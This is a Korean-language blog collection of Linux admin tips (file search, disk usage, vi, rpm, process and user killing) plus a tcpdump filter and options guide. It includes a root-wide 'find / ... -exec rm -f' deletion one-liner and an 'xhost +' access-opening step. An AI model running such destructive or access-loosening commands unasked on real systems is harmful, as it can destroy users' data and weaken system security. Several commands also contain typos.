  두 표현식중에서 A가 크거나 같다면 (A >= B) 참

[ A -lt B ]

  두 표현식 중에서 A가 작다면 (A < B) 참

Posted by 큰바우
:

0.0.0.1 서브 디렉토리까지 파일안의 문자열 모두 검색

find ./ -name "*" -exec grep 'abc' {} \; -print find . -name -print -exec 
grep abc {} \; grep -r abc * 

0.0.0.2 haha와 huhu가 동시에 들어있는 행 뽑기

grep haha foo.txt | grep huhu 

0.0.0.3 찾아서 지우기

find / -name "*.eml" -exec rm -f {} \; 

0.0.0.4 공사중에 로그인 막기

시스템을 공사중일 때, root 이외의 다른 사용자를 로그인 못하게 해야 할 때가 있죠? 그럴 때는, /etc/nologin 이라는 파일을 만들어,공사중 또는 Under Construction이라는 공지를 넣으면 됩니다.

0.0.0.5 크기가 가장 큰 파일, 디렉토리 찾기

가장 큰 디렉토리를 찾으려면,  du -S | sort -n 

0.0.0.6 가장 큰 파일을 찾으려면

 ls -lR | sort +4n 

0.0.0.7 현재 디렉토리의 크기만을 파악할때

[root@dev2 local]# du -c -h --max-depth=0 * 6.4M apache 35M bin 43M 
dns 1.7M doc 42k etc 1.0k games 42k geektalkd 1.1M gnuws 1.1M include 41k info 
19M jakarta-tomcat-3.2.3 0 jre 15M jre118_v3 25M lib 62k libexec 1011k 
man 1.3M mm.mysql.jdbc-1.2c 937k sbin 3.8M share 1.8M shoutcast-1-8-3-linux-glibc6 5.2M ssl 159M total 

0.0.0.8 시스템 정보 감추기

/etc/inetd.conf 파일을 열어서,
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h 

0.0.0.9 어떤 프로세스가 메모리를 가장 많이 잡아먹고 있는지 알아내기

ps -aux | sort +4n  또는 ps -aux | sort +5n 

0.0.0.10 FTP로 들어온 사용자 확인하기

 ftpwho,ftpcount 

0.0.0.11 원하지 않는 사용자 죽이기

 [root@dream /root]# skill -KILL sunny 

위의 명령을 내리면 sunny 라는 사용자를 완전히 추방시킬수 있습니다. 그런데 이렇게 완전히 추방시키는게 아니구, 특정 터미널에 접속해있는 사용자만 추방시켜야 할 때도 있겠죠? 그럴때는

 [root@dream /root]# skill -KILL -v pts/14 

이런식으로 하면 된다 그럼 pts/14 에 연결되어 있는 사용자가 죽게 됩니다.

0.0.0.12 less 결과를 vi로 보기

less상태에서 v를 누르면 바로 vi로 감

0.0.0.13 vi에서 블럭 설정하기

alt+v 하면, 라인 단위로 블럭 설정을 할 수 있으며, 해제 하시려면 Esc를 누르면 됩니다. 또한 ctl+v를 하시면, 블럭 단위로 블럭을 설정하실 수 있습니다.

블럭을 설정 하신 뒤,

삭제를 하려면 x 복사를 하려면 y 붙여넣기는 p

0.0.0.14 man 페이지 프린트하기

 man -t vi > vi.ps 

0.0.0.15 ping 무시하기

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all 

0.0.0.16 LILO 다시 살리기

 boot : vmlinuz root=/dev/hda6 

0.0.0.17 특정 사용자 ftp 접근 막기

/etc/ftpusers 파일에 로그인 네임을 추가하면 됩니다.

0.0.0.18 X 윈도우에서 TV보기

리눅스에서 TV보기 위해서는 드라이버 파일과 TV를 보는 프로그램이 필요합니다. 이 글에서는 미지 리눅스 OS에 탑재된 bttv 칩셋을 사용하는 TV 카드를 기준으로 설명합 니다. 만일 커널을 새로 컴파일 하실 분은 반드시 Character devices -> Video For Linux -> BT848 Video For Linux 항목을 모듈화 시키거나 커널에 포함하십시오.

TV 카드를 리눅스에 인식시키기 위해서 /etc/conf.modules 파일에 다음과 같은 내용을 삽입하고 컴퓨터를 다시 시작합니다.

alias char-major-81 bttv # 필립스 튜너의 경우 pre-install bttv modprobe -k tuner 
# 알프스 튜너의 경우 pre-install bttv modprobe -k tuner type=9 

이제 kwintv나 xawtv 등의 TV 시청 프로그램으로 TV를 볼 수 있습니다. 만약 TV 장치를 찾지 못하는 오류가 있다면 bttv driver 디렉토리에 포함된 MAKEDEV 를 실행하십시오.

0.0.0.19 ls라는 파일이 포함된 rpm패키지 찾기

일단 ls의 절대경로를 알아야 한다. which lswhich로 알아낸 ls의 절대경로로 rpm질의를 한다.
rpm -qf /bin/ls [root@piruks /etc]# which ls /bin/ls [root@piruks /etc]# rpm -qf /bin/ls fileutils-4.0i-2mz 

0.0.0.20 현재 rpm패키지의 의존패키지

 rpm -qR 패키지명 

0.0.0.21 현재 디렉토리크기

 du -h --max-depth=1 . 

0.0.0.22 바로 이전 디렉토리로 가기

 cd - 

0.0.0.23 프로세스명으로 프로세스 죽이기

killall 프로세스명 kill -9 `pidof 프로세스명 

0.0.0.24 하드웨어 시계맞추기

배포본을 설치하고 나면 시간이 맞지 않는 경우가 많다. 간단히 어느정도 정확한 시간을 설정하는 방법이다.
[root@dev /down]# rdate -s time.kriss.re.kr [root@dev /down]# clock -w 

0.0.0.25 원격에서 리모트서버의 X application실행시

X윈도 app를 실행할때 다음과 같은 에러가 나면 조치
[kang@dev /home/kang] xclock Xlib: connection to "211.222.186.170:0.0" refused by server Xlib: 
Client is not authorized to connect to Server Error: Can't open display: 211.222.186.170:0.0 
export 
DISPLAY=211.222.186.170:0 xhost +211.222.186.170 

0.0.0.26 링크 파일

ln -sf 링크할디렉토리 링크로 만들어질 디렉토리  참고로 링크를 걸기만 한다고 접근가능한것은 아니고,링크가 걸린 디렉토리의 퍼미션도 허용으로 바꿔야 한다. 링크로 만들어질 디렉토리는 저절로 생성되고 퍼미션 777로 잡혔음.  ln -sf /www/dir_1/r_photo /www/dir_2/r_photo 

0.0.0.27 ^M 문자 없애기

a = 1^M def vartest(a):^M a = a + 1^M return a^M a = vartest(a)^M print a^M 
Unix류 기계에서는 그냥 ^J 하나만을 개행문자로 사용하는데 PC에서는 MJ 이렇게 두 제어문자가 연속으로 사용되어야 개행문자로 받아들이죠. (그래서 PC쪽에서 만들어진 txt문서를 유닉스 기계로 불러와 vi 등을 실행하면

    줄 끝마다 보기싫은 ^M이 붙습니다. 뭐 vi에서 요거 지우는건 간단하지만요.)

PC에서 Unix에서 작성한 텍스트 문서를 보통 ftp로 받아오거나 하면 워드패드 등에서 봤을 때 전혀 개행이 되어있지 않지요. 하지만 MS Word 등 좀더 강력한 편집기에선 대개 잘 처리해서 잘 보여줍니다.

위는 간단한 Python 소스입니다. 위의 경우 처럼 ^M문자가 있을때, dos2unix라는 유틸리티를 많이 사용하기도 하죠. 하지만 vi에서 간단하게 모두 삭제할수도 있습니다. dos2unix가 없거나 빠져나가서 지우는게 귀찮을때 좋겠죠. 명령은  :%s/(ctrl+v)M//g  입니다.  (ctrl+v)M  이거는 ctrl과 v를 눌러준후, ctrl키를 떼지 말고 바로 m을 눌러주시믄 됩니다. 위는 정규표현식을 이용한것이고, 형식은  %s/이것을/요걸로/g  입니다 그럼 문서안의 모든 "이것을" "요걸로" 바꾸게 되죠. 단, M의 경우 ctrl+M의 뜻인데 단순히 문자로 M을 바꾸라도 해도 인식을 못하기 때문에, 위처럼  (ctrl+v)M  으로 해주셔야 합니다.

0.0.0.28 비어있는 행을 찾기

 #grep -n '^$' filename  정규표현 의미 ^ 행의 처음 $ 행의 끝 . 임의의 한 문자
[...] ... 안의 임의의 한 문자. a-z,0-9 같은 범위도 사용 [^..] .. 안에 없는 임의의 한 문자. 
범위 사용가능 r* 0회 이상 r 반복 r+ 1회 이상 r 반복 r? 0 혹은 1회의 r r{n,m} n회 이상 m회 
이하 r 반복 r1|r2 r1 혹은 r2 (egrep 만) (r) r 의 정규표현(egrep 만) 

0.0.0.29 기타 명령어 떼

alias(명령어 간소화하기) apropos(관련된 명령어 찾기) arch(컴퓨터 종류 알기) arp(같은 서브넷의 IP 보여주기)
 at(작업 시간 정하기) atd(계획성 있는 작업 실행하기) awk(특정 패턴 문자 처리하기) a2p(펄 파일로 바꾸기) 
badblocks(배드 블럭 검사하기) bc(계산기) biff(메일 수신 소리로 확인하기) bg(후면작업; 배경화면 설정) 
bind(키나 함수 순서 결합하기) break(루프 빠져나가기) cal(달력보기) builtin(내부 명령어 알아보기) 
case(조건 처리하기) cat(화면상에서 파일 보기) cd(디렉토리 변경하기) cfdisk(디스크 설정하기) chattr(파일 속성 변경하기) c
hfn(사용자 정보 변경하기) chgrp(파일, 디렉토리가 속했던 그룹 바꾸기) chmod(파일 권한 바꾸기) chown(파일 주인 바꾸기) 
chsh(지정된 셸 바꾸기) cksum(CRC값을 점검한다) clear(화면 청소하기) clock(CMOS 시각을 조정하기) 
cmp(파일 비교하기) colcrt(문자 변환 필터) colrm(열 삭제하기) column(가로 정렬하기) comm(파일 비교 출력하기) 
command(명령어 알아보기) continue(루프 계속돌기) cp(파일 복사하기) cpio(복사본 만들기) crontab(cron을 관리한다) 
csplit(파일에 서식, 규칙 정하기) cut(필요한 필드만 출력하기) date(날짜 보기) dd(블럭장치 읽고 쓰기) debugfs(ext2 파일 시스템 디버깅하기) 
declare(변수 선언하기) df(파일 시스템의 사용량 보기) dirs(디렉토리 목록 표시하기) dmesg(부팅 메시지 보기) dnsdomainname(DNS 이름 출력) 
domainname(NIS 이름 출력&설정) du(디렉토리와 파일의 용량 파악하기) dumpe2fs(파일 시스템 정보 보기) echo(표준 출력하기) eject(장치 해제하기) 
elm(메일 관련) enable(내부 명령어 지정) env(환경변수 출력하기) eval(인수 읽기) exec(셸 명령어 실행하기) exit(종료하기) 
expand(탭을 공백으로 변환하기) export(변수 지정하기) e2fsck(파일 시스템 복구하기) fc(지정된 편집기 받기) 
fdformat(플로피 디스크 포맷하기) fdisk(파티션 나누기) fg(지정된 작업을 전면 프로세스로 시작하기) file(파일 종류 보기) 
find(파일 찾기) finger(사용자 정보 알기) fold(정형화하기) fmt(정형화하기) for(반복 실행하기) free(메모리 사용량 알아보기) 
fsck(파일 시스템 검사하기) fstab(파일 시스템에 대한 고정적인 정보 저장하기) ftp(파일 전송 프로그램) fuser(프로세스 ID 출력) 
getkeycodes(매핑 테이블 출력하기) grep(특정 문자(열) 검색하기) gzexe(실행 파일 압축하기) gzip(압축하기) halt(시스템 종료하기) 
hash(기억해 두기; index 역할) head(파일의 앞부분 출력하기) help(도움말 보여주기) host(호스트 정보 보기) history(사용 명령어 목록보기) 
hostname(서버 이름 알기) id(계정 정보 알기) if(조건문 실행하기) ifconfig(랜카드에 주소 할당하기) imolamod(모듈 설치하기) inetd(인터넷 서비스의 최상위 데몬) 
init(실행 단계 정하기) ispell(철자법 검사하기) jobs(수행중인 프로세스 알기) kbd_mode(키보드 모드 출력하기) kill(프로세스 죽이기) klogd(커널 로그 데몬) 
ldd(공유 라이브러리의 의존성 알기) less(페이지 단위로 출력하기) let(정규식 표현하기) lilo(부팅하기) ln(링크하기) locate(패턴에 맞는 파일 찾기) 
login(로그인하기) logger(시스템 로그 기록하기) logname(사용자 로그인명 보여주기) logout(로그인 셸 종료하기) look(특정 단어 검색하기) losetup(중복 장치 확인하기) 
lpd(프린트 데몬) lpq(현재 프린트 작업 상태 출력하기) lpr(출력하기) lprm(대기열에 있는 문서 삭제하기) ls(디렉토리 내용보기) lsattr(파일 시스템의 속성 보여주기) 
lsdev(하드웨어 장치 출력하기) lsmod(모듈 정보 출력하기) mail(메일 관련) make(컴파일하기) man(매뉴얼 보기) mattrib mbadblocks mcd mcopy mdel mdeltree mdir 
mesg(메시지를 받을 수 있는지 확인하기) mformat minfo mkdir (디렉토리 만들기) mke2fs(파일 시스템 생성하기) mkfs(파일 시스템 만들기) mknod(특수 파일 만들기) 
mkswap(스왑 영역 지정하기) mlabel mmd mmount mmove mpartition mount(장치 연결하기) more(화면 단위로 출력하기) mrd mren mtoolstest mtype mutt(메일 관련) 
mv(파일 옮기기) mzip netstat(현재 네트웍 상황 보기) nice(프로세스 우선 순위 변경하기) od(8진수로 파일 보기) passwd(암호 입력하기) pidof(실행중인 프로그램의 
프로세스 ID 찾기) pine(메일 관련) ping(네트웍 확인하기) popd(pushd 취소) ps(프로세스 상태 알기) pstree(프로세스 상관관계 알기) pwd(절대경로 보여주기) 
quota(디스크 한계량 알기) rarp(rarp 테이블 관리하기) rcp(원격 호스트에 파일 복사하기) rdev(루트, 스왑장치, 램 크기, 비디오 모드를 조사하고 설정하기) 
rdate(네트웍으로 시간 설정하기) reboot(재부팅하기) rmmod(모듈 지우기) readonly(읽기 전용으로 표시하기) renice(프로세스 우선 순위 바꾸기) reset(터미널 초기화하기) 
restore(다시 저장하기) rlogin(바로 접속하기) rm(파일 지우기) rmdir (디렉토리 지우기) route(라우팅 테이블 추가/삭제하기) rpm(프로그램 추가/삭제) 
rpm2cpio(rpm을 cpio로 변환하기) rsh(원격으로 명령어 실행하기) rup(호스트 상태 출력하기) rusers(호스트에 로그인한 사용자 출력하기) rwall(호스트 사용자에게 메시지 뿌리기) 
script(기록하기) set(변수값 설정하기) setup(시스템 관련 설정하기) showmount(호스트의 마운트 정보 보여주기) shutdown(전원 끄기) sleep(잠시 쉬기) source(스크립트 번역하기) 
split(파일 나누기) ssh(암호화된 원격 로그인하기) stty(터미널라인 설정 보여주기) su(계정 바꾸기) suspend(셸 중단하기) swapoff (스왑 해제하기) swapon(스왑 활성화하기) 
sync(버퍼 재설정하기) syslogd(로그인 과정 설정하기) tac(거꾸로 보기) tail(문서 끝부분 출력하기) talk(이야기하기) tar(파일 묶기) tcpdchk(tcp wrapper 설정하기) 
tcpmatch(네트웍 요청에 대해 예측하기) tee(표준 입력으로부터 표준 출력 만들기) telnet(원격접속하기) test(테스트하기) times(셸에서의 사용자와 시스템 시간 출력하기) 
top(cpu 프로세스 상황 보여주기) tr(문자열 바꿔주기) true(종료 코드 리턴하기) type(유형 보기) ul(밑줄 처리해서 보여주기) ulimit(제한하기) umask(매스크 모드 설정하기) 
umount(장치 해제하기) unalias(별명 제거하기) uname(시스템 정보 보기) unexpand(공백 문자를 탭으로 변환하기) uniq(중복된 문장 찾기) useradd(사용자 계정 만들기) 
userdel(계정 삭제하기) usermod(사용자 계정정보 수정하기) unset(설정 변수 해제) uptime(시스템 부하 평균 보여주기) users(로그인된 사용자 보여주기) 
w(시스템에 접속한 사용자 상황 알아보기) wait(프로세스 기다리기) wall(모든 사용자에게 메시지 보내기) wc(문자, 단어, 라인수 세기) whatis(명령어의 간단한 설명보기) 
while(루프 명령어) who(사용자 알기) write(콘솔 상에서 간단한 메시지 보내기) xcopy(반복적으로 복사하기) XFree86 ypchfn(NIS에서 사용하는 chfn 명령어) 
ypchsh(NIS에서 사용하는 chsh 명령어) yppasswd(NIS에서 사용하는 passwd 명령어) zcat(압축 파일 보기) zcmp(압축 파일 비교하기) zforce(강제로 gz 만들기) 
zgrep(압축 상태에서 grep 실행하기) zmore(압축 상태에서 more 실행하기) znew(.Z 파일을 .gz로 다시 압축하기) 

0.0.0.30 각자가 사용하는 컴퓨터의 정보를 알고 싶을때

 [root ...]#more /proc/cpuinfo  위와 같이 치면 사용자의 컴퓨터 정보를 볼수 있으며,  [root ...]#more /proc/meminfo  라고 치면 사용자의 메모리 정보를 볼수 있습니다.

0.0.0.31 전체 메일

먼저 보낼 내용을 텍스트로 파일로 만들어야 합니다.어디에서든지 가능하지요!  [ root@aromi /root]# vi nea  안녕하세요! 저희 서버에서는 웹서버를 오늘부터 시작합니다. 사용자 여러분의 많은 관심과 이용을 부탁드립니다.
 :wq [ root@aromi /root]# 
만약, 한글을 사용하지 못하면 윈도우95에서 먼저 쓴다음에 ftp를 이용해서 올리면 됩니다.
[ root@aromi /root]# mail -s "[공지]" `cat /etc/passwd|gawk ?F :'{print$1}'` 
 [공지]->  라고 쓴 것은 보낼 메일의 제목입니다.  'cat /etc/passwd|gawk -F : '{print$1}''  ->먼저 cat으로 passwd파일의 첫번째 나오는 내용을 출력하라는 소리입니다. nea라는 텍스트파일을 메일의 내용으로 보내라는 내용입니다.

0.0.0.32 디렉토리만 빠르게 검색

 ls -al | grep "^d" 

0.0.0.33 호스트 네임 바꾸기

/etc/HOSTNAME file은 부팅시 /etc/sysconfig/network file 의 HOSTNAME 부분을 참조하여 저장합니다. 호스트 네임을 바꾸고자 한다면 /etc/sysconfig/network file 의 HOSTNAME 부분을 바꿔주면 됩니다.
[ root@linux /root]# vi /etc/sysconfig/network NETWORKING=yes HOSTNAME="linux" GATEWAY="" GATEWAYDEV="" FORWARD_IPV4="yes" 
바꾸신후 시스템을 재부팅 하신거나, #/etc/rc.d/init.d/network restart 명령을 내리시면 됩니다.

0.0.0.34 틀린명령어 틀린글자만 바꿔서 실행

 # ./configure --prefax=/usr/local/apache  앗, 틀렸습니다. prefax가 아니라 prefix인데... 고쳐야지요...간단하게 화살표키로 왔다갔다 하면서 지워지고 바꿔주면 되겠지만 다른 방법이 있습니다.  # ^fax^fix^  라고 하면...  -> ./configure --prefix=/usr/local/apache  라고 됩니다..

0.0.0.35 유닉스의 현재 버젼과 종류 그리고 라이센스등을 알려주는 명령어

 [ root@aromi /root]# uname -a 

0.0.0.36 열려있는 포트 알아내기

 netstat -anp | grep LISTEN 

0.0.0.37 텔넷 모든 접속자에게 메세지 보내기

wall 내용...  Ctrl-D 

0.0.0.38 lsof는 열려있는 파일을 나타내 주는 옵션

여기에 보안 점검을 위하여, -i 옵션을 사용하면, 현재 열려 있는 포트와 링크되어 있는 서비스 또는 프로그램이 모두 나타나죠. 자신이 열어 놓지 않은 포트가 열려있다던지하면 한번쯤 의심해 봐도 되겠죠?

0.0.0.39 사용자가 어디에서 무엇을 하는지 알아내기

w라는 명령어를 사용하시면 된답니다. 이 때,  w [-s]  를 붙여주시면 -s 옵션이 긴 정보 대신에 필요한 짧은 정보만 알려 준답니다.

0.0.0.40 텔넷 화면 수정

로그인화면:  /etc/issue.net  로그인후화면:  /etc/motd 

0.0.0.41 하위 디렉토리 한꺼번에 만들기

 mkdir -p music/koreanmusic/ost 

0.0.0.42 특정디렉토리의 모든 파일 안의 특정 문자열 치환

for i in $*; do sed "s/paper/PAPER/g" < $i > $i.new mv -f $i.new $i done <chihwan.sh> find ./(chihwan.sh를 포함하지 않는 디렉토리면) 
-type f -exec chihwan.sh {} \; 

0.0.0.43 killall 명령 시뮬레이션 (프로세스명으로 죽이기)

ps aux | grep 프로세스명 | grep -v grep | awk '{ print $w }' | xargs kill -9 
  • 모든 프로세스 나열
  • 지정한 프로세스만 뽑아냄
  • grep 명령이 포함된 라인 제거
  • awk로 두번째 필드만 뽑아냄
  • xargs에 의해 걸러진 아이디로 죽임

0.0.0.44 find와 grep

find . -name "H20021115.*" -exec grep -l '...;........;110100' {} \;

0.0.0.45 vi 검색, 치환

구호스트 서비스 오늘 날짜에서 분류코드가 110100인 파일 찾기 :%s/./\U&/g

모든문자->대문자 g/^$/d

0.0.0.46 파일내의 중복되는 행을 제거 : uniq

입력 파일에서 연속되는 행을 비교하여, 두 번째 이상의 동일한 행들을 제거하고 나머지는 출력파일로 출력 연속되어 표시되지 않으면 동일한 행이 존재할 수 있음.

sort 명령을 사용하여 정렬한 후 사용하는 것이 타당 사용법uniq [-cdu] [+|숫자] [입력파일 [출력파일]] -c : 각 행이 연속적으로 나타난 횟수를 행의 시작부분에 표시 -d : 연속적으로 반복되는 행만 출력 -u : 연속적으로 반복되지 않는 행만 출력 +숫자 : 행의 처음 '숫자' 만큼의 문자는 무시 -숫자 : 행의 처음 '숫자' 만큼의 필드는 무시

0.0.0.47 파일의 결합

여러 개의 텍스트 파일을 하나의 파일로 순차적으로 묶는데 사용
cat [파일명1] [파일명2] ... > [출력파일명] cat [파일명1] [파일명2] ... >& [출력파일명] cat [파일명1] [파일명2] ... >> [출력파일명] 
cat [파일명1] [파일명2] ... >>& [출력파일명] cat - [파일명1], [파일명2] .. >> [출력파일명] cat - [파일명1], [파일명2] .. >>& [출력파일명] % 
cat > file1 파일명 : file1 ^D % cat > file2 파일명 : file2 ^D % cat file1 file2 > file3 % cat file3 파일명 : file1 파일명 : file2 % 

행단위 결합 : paste 여러 파일에 대해여 행간 결합을 수행하거나 하나의 파일에 대해 연속되는 행들을 결합 둘이상의 파일에 대해서 테이블상의 하나의 열과 같이 취급하여 동일한 행번호 끼리 결합

 paste [파일명1] [파일명2].. paste -d리스트 [파일명1] [파일명2] ... paste -s [-d리스트] [파일명] d : 행간 결합시 행간 구분문자들의 리스트 s : 
한파일의 연속되는 행을 결합 % cat > paste.data1 홍길동 이순신 김유신 % cat > paste.data2 부산 서울 대구 % paste paste.data1 paste.data2 
홍길동 부산 이순신 서울 김유신 대구 % paste -d"\n" paste.data1 paste.data2 홍길동 부산 이순신 서울 김유신 대구 % paste -s -d"::\n" paste.data1 홍길동:이순신:김유신 % 

두 파일을 동일한 필드 값에 따라 행 단위 결합 : join

관계형 데이터 베이스에서의 join 연산과 동일 키로 사용할 필드에 대해 정렬된 두 파일의 각 행에 대해 동일한 키 값을 갖는 행들을 결합 입력으로 사용될 두 파일은 키 값에 대해 오름 차순으로 정렬되어 있어야 함 출력 결과는 기본적으로 키 값이 먼저 표시되고, 첫번째 파일에서 키를 제외한 나머지 필드, 두번테 파일에서 키를 제외한 나머지 필드가 표시 필드 구분은 공백, 탭, 개행문자가 기본, 연속적으로 나타날 경우 하나로 취급

% cat > join.data1 98001:서원일: 98002:홍길동: 98003:김유신: 98004:이순신: 98010:이상관: % cat > join.data2 부산:98001:441 울산:98002:89 대구:98003:99 
서울:98004:120 김해:98010:44 % join -j1 1 -j2 2 -t: join.data1 join.data2 98001:서원일::부산:441 98002:홍길동::울산:89 98003:김유신::대구:99 98004:이순신::
서울:120 98010:이상관::김해:44 % join -j1 1 -j2 2 -o 1.2 1.1 2.1 -t: join.data1 join.data2 서원일:98001:부산 홍길동:98002:울산 김유신:98003:대구 
이순신:98004:서울 이상관:98010:김해 % 

0.0.0.48 파일의 암호화 : crypt

파일을 암호화 하여 키를 알지 못하는 사람은 내용을 볼 수 없도록 함 표준 입출력 사용
% cat > crypt.data test test 안녕하십니까? ^D % crypt <crypt.data > crypt.data1 Enter key: hello % ls -l crypt* -rw-r--r-- 1 wiseo pro 24 9월 24일 14:47 
crypt.data -rw-r--r-- 1 wiseo pro 24 9월 24일 14:48 crypt.data1 % crypt < crypt.data1 Enter key:hello test test 안녕하십니까? % 

0.0.0.49 개행을 제외한 화면내의 보이지 않는 문자 출력

cat -v http://comp-cse.sch.ac.kr/~pl/lecture/linux/file2.html

0.0.0.50 화일내의 포함된 특정문자열로 찾아서 내용만 출력하기

grep -h '20030305......01' ./R00*

0.0.0.51 특정 파일의 화일명을 비슷하게 여러개 한꺼번에 바꾸기

ls *.* | awk '{print "mv",$1, $1 }' | sed "s/ \([a-zA-Z0-9]*\)\.\([a-zA-Z0-9]*\)$/ \1\.\_\2/g" 
  • 현재디렉토리의 모든 *.* 파일을 *._* 형식으로 바꾼다.
  • 더 간단하게 ls *.* | sed "s/\([a-zA-Z0-9]*\)\.\([a-zA-Z0-9]*\)/mv \1\.\2 \1\.\_\2/g"


0.0.0.52 어제 날짜 구하기

$ date -v-1d "+%Y-%m-%d"  [컴퓨터분류]

0.0.0.53 원하지 않는 사용자 죽이기

[root@dream /root]# skill -KILL sunny 

위의 명령을 내리면 sunny 라는 사용자를 완전히 추방시킬수 있습니다. 그런데 이렇게 완전히 추방시키는게 아니구, 특정 터미널에 접속해있는 사용자만 추방시켜야 할 때도 있겠죠? 그럴때는 [root@dream /root]# skill -KILL -v pts/14 

이런식으로 하면 된다 그럼 pts/14 에 연결되어 있는 사용자가 죽게 됩니다.

0.0.0.54 UNIX상에서 한글출력이 깨져 나올경우

유닉스상에서 한글을 stdout출력할 경우 가끔 출력되는 문자들이 몽땅 깨져서 나오는 경우가 있다. 이때부터는 프로그램이 종료된 이후에도 쉘 프람프트를 비롯, 쉘에서 입력하는 모든 커맨드가 깨져서 나온다. 이는 ascii code 로 ^n 에 해당하는 문자가 출력될 때 나오는 현상으로 그 이후로는 MSB가 모두 켜지기 때문이다. 문자가 깨져나오는 이후부터 ascii code 로 ^o 에 해당하는 문자를 출력하면 반대로 된다. 쉘 커맨드 상에서라면, # echo ^v^o 

라고 해야겠지만 커맨드가 깨져나오므로 shell이 해석을 못한다. 따라서, command line에서 ^v^o를 치고 enter 하면 된다

0.0.0.55 현재 디렉토리의 대량의 파일을 각자의 파일명가운데에 특정문자 추가하여 바꾸기

/bin/ls A?????.html | sed 's/A\(.....\)\.html/\1/g' | xargs -t -i mv 'A{}.html' 'A0{}.html' 
/bin/ls는 ls가 보통 -F로 파일 종류 표시(*, @등)까지 하기 때문에 그걸 막기 위한 것이고 xargs의 -t는 트레이스모드이다.
Posted by 큰바우
:

[펌] tcpdump

os/Linux 2004. 11. 3. 16:33 |
  • security라는 호스트로부터 날아오고, 날아가는 패킷들을 출력
    # tcpdump host security
  • security와 mazinga, getarobo 사이에 날아다니고 있는 패킷들을 출력
    # tcpdump host security and \( mazinga or getarobo \)
  • security에서 elgaim을 제외한 모든 호스트로 날아다니는 IP 패킷들을 출력
    # tcpdump ip host security and not elgaim
  • gateway amurorei를 거치는 ftp에 관련된 패킷들을 출력
    # tcpdump 'gateway amurorei and ( port ftp or ftp-data )'
  • local호스트가 아닌 호스트와 로컬호스트가 맺는 TCP 커넥션의 시작과 마지막 패 킷들을 출력한다(SYN, FIN 패킷).
    # tcpdump 'tcp[13] & 3 != 0 and not src and dst net non-local'
  • gateway amurorei를 지나는 576Byte보다 큰 패킷들을 출력한다
    # tcpdump 'gateway amurorei and ip[2:2] > 576'
  • Ethernet boradcast 혹은 multicast를 통해서 보내진 것이 아닌, IP broadcast 혹 은 multicast 패킷들을 출력한다.
    # tcpdump 'ehter[0] & 1 = 0 and ip[16] >= 224'
  • Echo request/reply가 아닌 ICMP 패킷들을 모두 출력한다.
    # tcpdump 'icmp[0] != 8 and icmp[0] != 0'

tcpdump -l -vvv -x -X > tcpdat & tail -f tcpdat

 

 

    사용법

tcpdump [ -adeflnNOpqStvx ] [ -c count ] [ -F file ] [ -i interface ] [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ]  [ exulssion ]

 

   <Option>

 

-a   : Network & Broadcast 주소들을 이름들로 바꾼다.
-c Number  : 제시된 수의 패킷을 받은 후 종료한다.
-d  : comile된 packet-matching code를 사람이 읽을 수 있도록 바꾸어 표준 출력으로
      출력하고, 종료한다.
-dd   : packet-matching code를 C program의 일부로 출력한다.
-ddd : packet-matching code를 숫자로 출력한다.
-e  : 출력되는 각각의 행에 대해서 link-level 헤더를 출력한다.
-f  : 외부의 internet address를 가급적 심볼로 출력한다(Sun의 yp server와의 사용은
     가급적 피하자).
-F file  : filter 표현의 입력으로 파일을 받아들인다. 커맨드라인에 주어진 추가의 표현들은
          모두 무시된다.
-i device  : 어느 인터페이스를 경유하는 패킷들을 잡을지 지정한다. 지저되지 않으면
               시스템의 인터페이스 리스트를 뒤져서 가장 낮은 번호를 가진 인터페이스를
               선택한다(이 때 loopback은 제외된다).
-l   : 표준 출력으로 나가는 데이터들을 line buffering한다. 다른 프로그램에서 tcpdump로부터      데이터를 받고자 할 때, 유용하다.
-n  : 모든 주소들을 번역하지 않는다(port,host address 등등)
-N  : 호스트 이름을 출력할 때, 도메인을 찍지 않는다.
-O  : packet-matching code optimizer를 실행하지 않는다. 이 옵션은 optimizer에 있는
      버그를 찾을 때나 쓰인다.
-p  : 인터페이스를 promiscuous mode로 두지 않는다.
-q  : 프로토콜에 대한 정보를 덜 출력한다. 따라서 출력되는 라인이 좀 더 짧아진다.
-r <file> : 패킷들을 '-w'옵션으로 만들어진 파일로 부터 읽어 들인다. 파일에 "-" 가
               사용되면 표준 입력을 통해서 받아들인다.
-s <spaplen> : 패킷들로부터 추출하는 샘플을 default값인 68Byte외의 값으로 설정할 때
사용한다(SunOS의 NIT에서는 최소가 96Byte이다). 68Byte는 IP,ICMP, TCP, UDP등에 적절한 값이지만 Name Server나 NFS 패킷들의 경우에는 프로토콜의 정보들을 Truncation할 우려가 있다. 이 옵션을 수정할 때는 신중해야만 한다. 이유는 샘플 사이즈를 크게 잡으면 곧 패킷 하나하나를 처리하는데 시간이 더 걸릴 뿐만아니라 패킷 버퍼의 사이즈도 자연히 작아지게 되어 손실되는 패킷들이 발생할 수 있기 때문이다. 또, 작게 잡으면 그만큼의 정보를 잃게되는 것이다. 따라서 가급적 캡춰하고자 하는 프로토콜의 헤더 사이즈에 가깝게 잡아주어야 한다.
-T <type> : 조건식에 의해 선택된 패킷들을 명시된 형식으로 표시한다. type에는 다음과 같은 것들이 올 수 있다. rpc(Remote Procedure Call), rtp(Real-Time Applications protocol), rtcp(Real-Time Application control protocal), vat(Visual Audio Tool), wb(distributed White Board)
-S   : TCP sequence번호를 상대적인 번호가 아닌 절대적인 번호로 출력한다.
-t    : 출력되는 각각의 라인에 시간을 출력하지 않는다.
-tt   : 출력되는 각각의 라인에 형식이 없는 시간들을 출력한다.
-v   : 좀 더 많은 정보들을 출력한다.
-vv : '-v'보다 좀 더 많은 정보들을 출력한다.
-w  : 캡춰한 패킷들을 분석해서 출력하는 대신에 그대로 파일에 저장한다.
-x   : 각각의 패킷을 헥사코드로 출력한다.

 

 

   <exulssion>

    exulssion은 패킷을 선택적으로 캡처하기 위한 조건을 적는 부분이다. exulssion이 없다면
    네트워크상의 모든 패킷을 캡처하여 보여 주며exulssion이 정의 되어있다면 이 exulssion을     참으로 하는 패킷만을 선별하여 보여준다. exulssion은 하나이상이 primitives로 구성되며,     primitives는 일반적으로qualifer을 앞에 내세운 id(이름이나 숫자)로 구성된다.

        Qualifier

    type : id(이름이나 숫자)가 어떠한 의미를 가지는지를 알려준다. 가능한 type으로는 host,          net, port가 있다.
                 ex) " host foo", "net 123.4", "port 23"     
                                               특별한 qualifier가 정해져 있지 않으면 "host"로 가정한다.

